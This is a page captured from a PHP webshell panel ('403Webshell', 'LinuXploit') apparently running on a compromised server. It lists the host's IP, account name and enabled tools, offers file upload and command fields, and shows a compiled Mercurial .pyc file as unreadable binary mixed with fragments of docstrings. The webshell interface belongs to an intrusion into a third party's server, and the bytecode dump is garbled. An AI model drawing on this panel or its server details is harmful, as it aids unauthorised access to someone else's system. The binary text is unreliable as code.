403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.208
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/usr/lib/python3/dist-packages/hgext/convert/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/usr/lib/python3/dist-packages/hgext/convert/__pycache__/common.cpython-313.pyc
�

6�hJ��L�%SSKJr SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKJ	r	J
r
Jr SSKJ
r
 SSKJrJrJrJrJr SSKJrJr \R.(aSSKJr SSKJr \R6r\R.(a\S$S
j5r\S%Sj5rSr"S
S5rS&S'SjjrS(SjrS)Sjr "SS\!5r"S*S+Sjjr#"SS\!5r$Sr%S	\&S'"SS5r'"SS5r("SS5r)"SS 5r*"S!S"\+5r,S,S#jr-g)-�)�annotationsN)�Any�AnyStr�Optional)�_)�encoding�error�phases�pycompat�util)�dateutil�procutil)�overload)�ui�bytesc��g�N���ds �6/usr/lib/python3/dist-packages/hgext/convert/common.py�
_encodeornoner2����c��grrrs rrr6rrc�,�UcgURS5$)N�latin1)�encoders rrr;s���y���8�8�H��rc�R�\rSrSrS	SjrSrSr\S
Sj5r\SSj5r	Sr
g)�_shlexpy3proxy�Ac��Xlgr��_l)�self�ls  r�__init__�_shlexpy3proxy.__init__Bs���rc�(�SUR5$)Nc3�8# �UHn[U5v� M g7fr)r)�.0�vs  r�	<genexpr>�*_shlexpy3proxy.__iter__.<locals>.<genexpr>Fs���2�'�Q�
�a� � �'�s�r#�r%s r�__iter__�_shlexpy3proxy.__iter__Es��2�$�'�'�2�2rc�H�[URR55$r)rr$�	get_tokenr/s rr3�_shlexpy3proxy.get_tokenHs���T�W�W�.�.�0�1�1rc��URRb*[R"URR5$g)Ns	<unknown>)r$�infiler�
strtolocalr/s rr6�_shlexpy3proxy.infileKs,���7�7�>�>�%��&�&�t�w�w�~�~�6�6�rc�.�URR$r)r$�linenor/s rr:�_shlexpy3proxy.linenoQs���w�w�~�~�rr#N)r&zshlex.shlex�return�None)r<r)r<�int)�__name__�
__module__�__qualname__�__firstlineno__r'r0r3�propertyr6r:�__static_attributes__rrrr r As9���3�2�����
���rr c��Uc[USS9nO*Ub[R"S5eURS5nUb[R
"U5OSn[R"XSS9nUb+SUlU=RURS5-
slUb$U=RURS5-
sl	[U5$)Nr)rs/shlexer only accepts data or filepath, not bothT)r6�posix)�openr	�ProgrammingError�decoder�strfromlocal�shlex�whitespace_split�
whitespace�	wordcharsr )�data�filepathrNrMr6r&s      r�shlexerrQVs����|��H�x�0�����(�(�B��
��{�{�8�$��08�0D�X�
"�
"�8�
,�$�F�
���D�t�4�A���!���	���
�)�)�(�3�3����	���y�'�'��1�1���!��rc�H�SSjn[R"U5nU"U5$)Nc���[R"U5n[R"U5Vs/sHo"R	5SPM nnSRU5$s snf)Nrr)�base64�encodebytesr�iterbytestr�
splitlines�join)�s�linesr&s   r�	encodearg�encodeargs.<locals>.encodeargosP���"�"�1�%��,4�,@�,@��,G�H�,G�q�����"�,G��H��x�x�����Is�A)rYrr<r)�pickle�dumps)�argsr[rYs   r�
encodeargsr`ns!���
	���T��A��Q�<�rc�Z�[R"U5n[R"U5$r)rT�decodebytesr]�loads)rYs r�
decodeargsrdxs �����1��A��<�<��?�rc��\rSrSrSrg)�MissingTool�}rN�r?r@rArBrDrrrrfrf}���rrfc��U=(d Un[R"U5(dSU(a[RnO[nU"[S5U-U=(a [S5U-=(d S-5eg)Nscannot find required "%s" tools  (try installing the %s package)r)r�findexer	�Abortrfr)�exe�name�abort�debname�excs     r�	checktoolrr�so���;�3�D����C� � ���+�+�C��C��!�5�6��=��O�q�!D�E��O�V�SV�X�Y�	Y�!rc��\rSrSrSrg)�NoRepo�rNrhrrrrtrt�rirrtsSKIP�SKIPREVc�\�\rSrSrSSSSS\R
SS4SSjjrSrg)�commit�NTc
���U=(d SUlU=(d SUlX0lX@lU=(d /UlXPlX`lU=(d 0UlX�lX�l	X�l
X�lg)Nsunknowns0 0)�author�date�desc�parents�
optparents�branch�rev�extra�sortkey�saverev�phase�ctx)
r%r{r|r}r~r�r�r�r�r�r�rr�s
             rr'�commit.__init__�sZ���*�
����N�F��	��	���$�*���������[�b��
������
��r)r{r�r�r|r}r�rr~r�r�r�r�)r{rr|rr}rr��Optional[bytes]r�r>r<r=)r?r@rArBr
�draftr'rDrrrrxrx�sd��#'������\�\���������	� �
���
��rrxc���\rSrSrSrSSSjjrSSSjjrSSjrSSjrSr	S	r
S
rSrSr
S
rSrSrSSSjjrSrSSjrS SjrS SjrSrSrSS!SjjrSrg)"�converter_source�zConversion source interfaceNc�B�XlX0lX@lX lSUlg)zeInitialize conversion source (or raise NoRepo("message")
exception if path is not a valid repository)�utf-8N)r�path�revs�repotyper)r%rr�r�r�s     rr'�converter_source.__init__�s�����	��	� �
� ��
rc��[R"SU5(d#[R"[	S5X!4-5eg)zkfails if revstr is not a 40 byte hex. mercurial and git both uses
such format for their revision numbering
s[0-9a-fA-F]{40,40}$s.%s entry %s is not a valid revision identifierN)�re�matchr	rlr�r%�revstr�mapnames   r�checkhexformat�converter_source.checkhexformat�s@���x�x�/��8�8��+�+��C�D��#�$��
�9rc��grrr/s r�before�converter_source.before����rc��grrr/s r�after�converter_source.after�r�rc��g)z�Returns true if the given targetfile belongs to the source repo. This
is useful when only a subdirectory of the target belongs to the source
repo.Tr)r%�targetfilenames  r�targetfilebelongstosource�*converter_source.targetfilebelongstosource����
rc��g)z*set the map of already-converted revisionsNr)r%�revmaps  r�	setrevmap�converter_source.setrevmap���rc��[e)z(Return a list of this repository's heads��NotImplementedErrorr/s r�getheads�converter_source.getheads����!�!rc��[e)z�Return a pair (data, mode) where data is the file content
as a string and mode one of '', 'x' or 'l'. rev is the
identifier returned by a previous call to getchanges().
Data is None if file is missing/deleted in rev.
r�)r%rnr�s   r�getfile�converter_source.getfile�s
��"�!rc��[e)a�Returns a tuple of (files, copies, cleanp2).

files is a sorted list of (filename, id) tuples for all files
changed between version and its first parent returned by
getcommit(). If full, all files in that revision is returned.
id is the source revision id of the file.

copies is a dictionary of dest: source

cleanp2 is the set of files filenames that are clean against p2.
(Files that are clean against p1 are already not in files (unless
full). This makes it possible to handle p2 clean files similarly.)
r�)r%�version�fulls   r�
getchanges�converter_source.getchanges�s
��"�!rc��[e)z$Return the commit object for versionr�)r%r�s  r�	getcommit�converter_source.getcommit�r�rc��g)zGReturn the number of commits in this source.

If unknown, return None.
Nrr/s r�
numcommits�converter_source.numcommitsr�rc��[e)zTReturn the tags as a dictionary of name: revision

Tag names must be UTF-8 strings.
r�r/s r�gettags�converter_source.gettags	s
��
"�!rc���U(dUR=(d Sn[U[5(aURS5$UR	[
R"U55RS5$![ak UR	S5RS5s$![a: UR	[
R"U5S5RS5ss$f=ff=f)Nr�zutf-8zlatin-1�replace)r�
isinstance�strrrIr�sysstr�UnicodeError)r%rYrs   r�recode�converter_source.recodes�����}�}�0��H��a�����8�8�G�$�$�	��8�8�H�O�O�H�5�6�=�=�g�F�F���	�
��x�x�	�*�1�1�'�:�:���
��x�x����� 9�9�E�L�L����
��	�s0�3A8�8
C-�B%�"C-�%?C)�$C-�(C)�)C-c��[e)aReturn the files changed by rev compared to parent[i].

i is an index selecting one of the parents of rev.  The return
value should be the list of files that are different in rev and
this parent.

If rev has no parents, i is None.

This function is only needed to support --filemap
r�)r%r��is   r�getchangedfiles� converter_source.getchangedfiles s
��"�!rc��g)z5Notify the source that a revision has been converted.Nr)r%r��sinkrevs   r�	converted�converter_source.converted-r�rc��g)z�Return true if this source has a meaningful, native revision
order. For instance, Mercurial revisions are store sequentially
while there is no such global ordering with Darcs.
Frr/s r�hasnativeorder�converter_source.hasnativeorder0s��
rc��g)z7Return true if this source has ability to close branch.Frr/s r�hasnativeclose�converter_source.hasnativeclose7s��rc��g)z�If rev is a meaningful revision reference in source, return
the referenced identifier in the same format used by getcommit().
return None otherwise.
Nr�r%r�s  r�	lookuprev�converter_source.lookuprev;r�rc��0$)z`Return the bookmarks as a dictionary of name: revision

Bookmark names are to be UTF-8 strings.
rr/s r�getbookmarks�converter_source.getbookmarksBs	��
�	rc��g)z|revstr is a string that describes a revision in the given
source control system.  Return true if revstr has correct
format.
Trr�s   r�checkrevformat�converter_source.checkrevformatIr�r)rr�r�r�r)NN)r�uimod.uir�rr�r�r<r=)s	splicemap)r�rr�rr<r=�r<r=r)rYrrr�r<r)r<�bool)r�rr<r�)r?r@rArB�__doc__r'r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rDrrrr�r��s���%�!%�
�!��!��!��	!�
�
!�"/;�
��
�&+�
�	
�
�
�
��9�"�"�"� "��"�� "�D������rr�c�l�\rSrSrSrSSjrSrSrSrSr	Sr
S	rSS
jrSSjr
SrS
rSrSrg)�converter_sinkiQz"Conversion sink (target) interfacec�6�XlX0l/UlX lg)z�Initialize conversion sink (or raise NoRepo("message")
exception if path is not a valid repository)

created is a list of paths to remove if a fatal error occurs
laterN)rr��createdr�)r%rr�r�s    rr'�converter_sink.__init__Ts�����	���� �
rc��[e)zyPath to a file that will contain lines
source_rev_id sink_rev_id
mapping equivalent revision identifiers for each system.r�r/s r�
revmapfile�converter_sink.revmapfile_�
��"�!rc��g)zrPath to a file that will contain lines
srcauthor=dstauthor
mapping equivalent authors identifiers for each system.Nrr/s r�
authorfile�converter_sink.authorfilees��rc	��[e)a,Create a revision with all changed files listed in 'files'
and having listed parents. 'commit' is a commit object
containing at a minimum the author, date, and message for this
changeset.  'files' is a list of (path, version) tuples,
'copies' is a dictionary mapping destinations to sources,
'source' is the source repository, and 'revmap' is a mapfile
of source revisions to converted revisions. Only getfile() and
lookuprev() should be called on 'source'. 'full' means that 'files'
is complete and all other files should be removed.
'cleanp2' is a set of the filenames that are unchanged from p2
(only in the common merge case where there two parents).

Note that the sink repository is not told to update itself to
a particular revision (or even what that revision would be)
before it receives the file data.
r�)	r%�files�copiesr~rx�sourcer�r��cleanp2s	         r�	putcommit�converter_sink.putcommitks
��&"�!rc��[e)z�Put tags into sink.

tags: {tagname: sink_rev_id, ...} where tagname is an UTF-8 string.
Return a pair (tag_revision, tag_parent_revision), or (None, None)
if nothing was changed.
r�)r%�tagss  r�puttags�converter_sink.puttags�s
��"�!rc��g)z�Set the current branch name. Called before the first putcommit
on the branch.
branch: branch name for subsequent commits
pbranches: (converted parent revision, parent branch) tuplesNr)r%r��	pbranchess   r�	setbranch�converter_sink.setbranch�r�rc��g)aTell the destination that we're using a filemap

Some converter_sources (svn in particular) can claim that a file
was changed in a revision, even if there was no change.  This method
tells the destination that we're using a filemap and that it should
filter empty revisions.
Nr)r%�actives  r�setfilemapmode�converter_sink.setfilemapmode�r�rc��grrr/s rr��converter_sink.before�r�rc��grrr/s rr��converter_sink.after�r�rc��g)zmPut bookmarks into sink.

bookmarks: {bookmarkname: sink_rev_id, ...}
where bookmarkname is an UTF-8 string.
Nr)r%�	bookmarkss  r�putbookmarks�converter_sink.putbookmarks�r�rc��[e)zHReturn False if a rev mentioned in a filemap is known to not be
present.r�r�s  r�hascommitfrommap�converter_sink.hascommitfrommap�s
��"�!rc��[e)z�This method is for the special needs for splicemap handling and not
for general use. Returns True if the sink contains rev, aborts on some
special cases.r�r�s  r�hascommitforsplicemap�$converter_sink.hascommitforsplicemap�r�r)r�r�r�rN)rr�r�rr�rr<r=r�)r?r@rArBr�r'r�r�r�r�rrr�r�rrrrDrrrr�r�QsB��,�	!�"��"�*"�H��
�
��"�
"rr�c��\rSrSrSSjrSSjrSSjrSSjrSSjrSSjr	SSjr
SS	jrSS
jrSSjr
SSSjjrSS
jrSSjr\S5rSSjrSSjrSrg)�commandlinei�c��XlX lgr)r�command)r%rrs   rr'�commandline.__init__�s�����rc��grrr/s r�prerun�commandline.prerun�r�rc��grrr/s r�postrun�commandline.postrun�r�rc��[R"U5nURU/[U5-nUR	5H�upV[U5S:XaUR
SU-5 O$UR
SURSS5-5 [U5S:XaUR
SU-5 MsUS==SU--
ss'M� UVs/sHn[R"U5PM nnURR(d)US[R"[R5/-
nS	R!U5nU$![a GMf=fs snf)
N��-s--�_r����=s2>� )r�byteskwargsr�list�items�len�appendr��	TypeErrorr�
shellquoter�	debugflag�bytestr�os�devnullrX)r%�cmdr_�kwargs�cmdline�kr,�args        r�_cmdline�commandline._cmdline�s���%�%�f�-���<�<��%��T�
�2���L�L�N�D�A��1�v��{����t�a�x�(����u�q�y�y��t�'<�<�=�
��q�6�Q�;��N�N�3��7�+��B�K�4�!�8�+�K�#�8?�?�w��8�&�&�s�+�w��?��w�w� � ���x�/�/��
�
�;�<�<�G��)�)�G�$�����
�
��
��?s�#E�4E� E�
E�Ec�4�SnUR"XA/UQ70UD6$)Nc��[R"[R"U5SS[R[R
S9nU$)NTr#)�shell�bufsize�	close_fds�stdout)�
subprocess�Popenr�tonativestr�closefds�PIPE)r3�ps  r�popen�commandline._run.<locals>.popen�s=��� � ��$�$�W�-���"�+�+�!����A��Hr)�_dorun)r%r1r_r2rDs     r�_run�commandline._run�s"��	��{�{�5�7��7��7�7rc�L�UR"[RU/UQ70UD6$r)rFr�popen2�r%r1r_r2s    r�_run2�commandline._run2��!���{�{�8�?�?�C�A�$�A�&�A�Arc�L�UR"[RU/UQ70UD6$r)rFr�popen3rKs    r�_run3�commandline._run3�rNrc���UR"U/UQ70UD6nURRSU4-5 UR5 U"U5UR	5 $!UR	5 f=f)Nsrunning: %s
)r6r�debugrr)r%�openfuncr1r_r2r3s      rrF�commandline._dorun�s[���-�-��5�d�5�f�5�����
�
�&�'��3�4����
�	��G�$��L�L�N��D�L�L�N�s�A�A1c��UR"U/UQ70UD6nUR5SnURRU5 XTR4$)Nr)rG�communicaterrT�
returncode�r%r1r_r2rC�outputs      r�run�commandline.run�sG���I�I�c�+�D�+�F�+�������#�����
�
�f���|�|�#�#rc���UR"U/UQ70UD6nURR5nUR5 URRSR
U55 XTR4$�Nr)rGr=�	readlines�waitrrTrXrYrZs      r�runlines�commandline.runlines�s[���I�I�c�+�D�+�F�+�����#�#�%��	�������
�
�c�h�h�v�&�'��|�|�#�#rc�.�U(a�U(aLURR[S5UR-5 URRU5 [R
"U5n[R"SURU4-5eg)Ns
%s error:
s%s %s)r�warnrrr�explainexitr	rl)r%�statusr[�msgs    r�	checkexit�commandline.checkexit�sh���������Q�~�.����=�>������V�$��&�&�v�.�C��+�+�h�$�,�,��)<�<�=�=�rc�X�UR"U/UQ70UD6upEURXT5 U$r)r\ri�r%r1r_r2r[rgs      r�run0�commandline.run0s-�����#�7��7��7������v�&��
rc�x�UR"U/UQ70UD6upEURUSRU55 U$r_)rbrirXrls      r�	runlines0�commandline.runlines0s8�����s�<�T�<�V�<������v�s�x�x��/�0��
rc�p�Sn[R"S5nUS-S-
$![[4a Nf=f)Ni�
SC_ARG_MAX�r )r/�sysconf�AttributeError�
ValueError)r%�argmaxs  rrx�commandline.argmaxsE����	��Z�Z��-�F���{�Q�����
�+�	��	�s�"�5�5c/�$# �[UR"U/UQ70UD65nURU-
nSn/nUHHn	[U	5S-n
Xz-U:d[U5S:XaURU	5 Xz-
nM?Uv� U	/nU
nMJ U(aUv� gg7f)Nr�)r)r6rxr*)r%�arglistr1r_r2�cmdlen�limit�numbytes�fl�fn�bs           r�_limit_arglist�commandline._limit_arglists�����T�]�]�3�8��8��8�9�����f�$����
���B��B��!��A��|�e�#�s�2�w�!�|��	�	�"�
��
�����T�������H��s�BBc��UR"X/UQ70UD6H%nUR"U/[U5U-Q70UD6 M' gr)r�rmr')r%r|r1r_r2r&s      r�xargs�commandline.xargs/s@���$�$�W�C�D�C�F�C�A��I�I�c�7�T�$�Z�!�^�7��7�Dr)rrN)rr�rrr<r=r�)r1rr_rr<r)r1rr_r)r)r[rr<r=)r?r@rArBr'rrr6rGrLrQrFr\rbrirmrp�
propertycacherxr�r�rDrrrrr�sc���
�
��*8�B�B��$�$�>��
�
����"�"8rrc�V^�\rSrSrSU4SjjrSU4SjjrSU4SjjrSSjrSrU=r	$)	�mapfilei4c�v>�[TU]5 XlX lSUl/UlUR
5 gr)�superr'rr��fp�order�_read)r%rr��	__class__s   �rr'�mapfile.__init__5s/���
�������	������
��
�
�rc�F>�UR(dg[URS5n[U5Hsup#UR	5SR5nU(dM/UR
SS5upEX@;aURRU5 [TU]9XE5 Mu UR5 g![a gf=f![a2 [R"[S5URUS-4-5ef=f!UR5 f=f)N�rbrr%r s/syntax error in %s(%d): key/value pair expected)r�rG�FileNotFoundError�	enumeraterW�rstrip�rsplitrwr	rlrr�r*r��__setitem__�close)r%r�r��line�key�valuer�s      �rr��
mapfile._read=s�����y�y��	��d�i�i��&�B�	�$�R�=������(��+�2�2�4�����!%���T�1�!5�J�C��?��J�J�%�%�c�*���#�C�/�)� 
�H�H�J��)!�	��	��"���+�+��L�M��9�9�a�!�e�,�-�����
�H�H�J�s4�B?�:D�'C�;3D�?
C�C�<D�D�D c��>�URc[URS5UlURR[R"SX4-55 URR5 [TU]=X5 g![aQn[R
"[
S5UR[R"UR54-5eSnAff=f)N�abscould not open map file %r: %ss%s %s
)r�rGr��OSErrorr	rlrrr7�strerror�writer�tonativeeol�flushr�r�)r%r�r��errr�s    �rr��mapfile.__setitem__Xs�����7�7�?�
��t�y�y�$�/���	
���
�
�d�&�&�z�S�L�'@�A�B����
�
��
���C�'���
��k�k��7�8��y�y�(�"5�"5�c�l�l�"C�D�E����
�s�B�
C#�AC�C#c�j�UR(a"URR5 SUlggr)r�r�r/s rr��
mapfile.closees"���7�7��G�G�M�M�O��D�G�r)r�r�r�r)rr�r�rr<r=r�)
r?r@rArBr'r�r�r�rD�
__classcell__)r�s@rr�r�4s�����6(��rr�c�.�[R"U5$r)r
�makedate)�ts r�makedatetimestampr�ks�����Q��r)rr�r<r)rr=r<r=)NNNN)rPr�rNr�rMr�)r_rr<r)rYrr<r)NTN)
rmrrnr�ror�rpr�r<r=)r��floatr<zdateutil.hgdate).�
__future__rrTr/r]r�rKr>�typingrrr�mercurial.i18nr�	mercurialrr	r
rr�mercurial.utilsr
r�
TYPE_CHECKINGrr�uimodr�rr rQr`rd�	Exceptionrfrrrtrv�__annotations__rxr�r�r�dictr�r�rrr�<module>r�sy��#�
�	�
�	���
�������

������"�"�
�
���
�
��
��
��
����,
� $�!%�"&�	����� �	�0��
	�)�	�
^b�
Y�	�
Y�%�
Y�59�
Y�KZ�
Y�	�
Y�	�Y�	�������<[�[�|]"�]"�@@8�@8�F4�d�4�n r

Youez - 2016 - github.com/yon3zu
LinuXploit